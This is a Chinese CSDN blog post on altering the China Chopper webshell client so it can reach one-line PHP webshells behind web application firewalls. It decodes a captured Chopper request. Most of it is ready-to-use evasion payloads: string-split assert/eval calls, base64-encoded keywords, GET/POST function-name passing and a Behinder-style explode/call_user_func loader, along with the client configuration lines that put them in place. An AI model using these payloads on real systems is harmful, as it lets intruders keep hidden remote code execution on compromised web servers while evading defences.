fv 06php2c,渗透-简单制作过waf的中国菜刀

本文探讨了在Web渗透中遇到的常见问题,如何通过变形和编码技巧绕过WAF,重点讲解了如何使用过WAF的菜刀工具连接免杀木马,包括编码转换、参数传递策略和关键词加密的方法。作者还分享了仿冰蝎思路在新型菜刀中的应用,强调了自定义和加密在绕过检测中的重要性。
摘要由CSDN通过智能技术生成

0x01 简单分析

web渗透中很常见的情况,用菜刀连接免杀的一句话木马连不上,有waf

5dea4e1e891e74cf3ea013a3ff547edb.png

54f250e87a1a3867f0c7c4b3c30f2325.png

除了变形一句话木马为免杀一句话,我们还需要来制作过waf的菜刀进行连接、

这里用的一句话为

来看看菜刀连接一句话的时候的包

86288ee3cdc6ac99f7ea26b4ea80df7e.png

x=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19yd

W50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTsk

Uj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW

9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3Vu

YW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

把其中url编码转换后就很直观了:

x=@eval(base64_decode($_POST[z0]));

&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ

1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKC

JBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2d

ldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==

这里可以看到z0就是执行的操作代码了,base64解密一下z0参数的值

@ini_set("display_errors","0");

@set_time_limit(0);

@set_magic_quotes_runtime(0);

echo("->|");;

$D=dirname($_SERVER["SCRIPT_FILENAME"]);

if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);

$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';

$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|

我们可以简单对这里传递的参数、形式进行变化

1.去掉base64加密 把函数的z0参数用get方式传递

29322b6961d713127d733a8419ac5d66.png

2.可以通过get传递一个 Base64_decode

b5938616bfff41b8f75437ea73226e5b.png

这里把base64_decode通过get方式传到post中,但是还是被杀

通过测试发现 还需要改

$_GET[bypass]($_POST([z0]) 中的$_POST

换成

x=@eval($_GET[bypass](${'_P'.'OST'}[z0]));&z0=cGhwaW5mbygpOw

0c2324e10fbaa2861b9b30a508404922.png

很多钟方式都可以变化。。

0x02 制作过waf菜刀

如何换成菜刀可以用的呢 打开 caidao2016 这个菜刀配置文件在外面 不用在逆向改很方便

fb5664cfbc9b7e58753ff6ffdf7b5e0e.png

array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));

@eval($_GET[bypass](${'_P'.'OST'}[z0]));&z0=%s 中间替换成这几句就可以过狗了 get需要

11.php?bypass=Base64_decode  这样连接 如果嫌麻烦可以换成POST

@eval($_POST[bypass](${'_P'.'OST'}[z0]));&z0=%s&bypass=Base64_decode

2. 可以把eval换成assert

@assert(base64_decode($_POST[v]));&v=%s

3.我们可以把base64_decode这个关键词base64编码 一句话来解码 这种方法也是比较推荐的能达到0关键词

ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s

总体来说方法很多 改菜刀端其实和改一句话一样 甚至

eval(base64_decode('%s'));

也是可以的 这里最推荐 把关键词都加密

0x03  仿冰蝎思路菜刀

他的原理是

1.首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。

2.客户端将源代码,如assert|eval("phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval("phpinfo();")。

3.服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval("phpinfo();")。

4.以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert("eval(\"phpinfo;\")")

但是菜刀不支持我们这样改 但是可也把他的思路引进到菜刀里面 首先我们看他的一句话

我们可以把eval 放到post里面 从而让一句话没有关键词 简单的写一个

这里学了php的同学很容易看懂 把接受的内容 通过explode函数分割 然后base64解密 调用call_user_func回调函数来执行

菜刀端

|YXNzZXJ0fGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbaWRdKSk7|&id=%s

其中base64解密内容为  assert|eval(base64_decode($_POST[id]));

新型的菜刀应该先冰蝎靠近,尽量让关键词在传输过程中,php本身也有很多其他加密不需要扩展的

所以绕起来很方便的。新型菜刀应该要向高度自定义靠近,免杀就更加简单

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值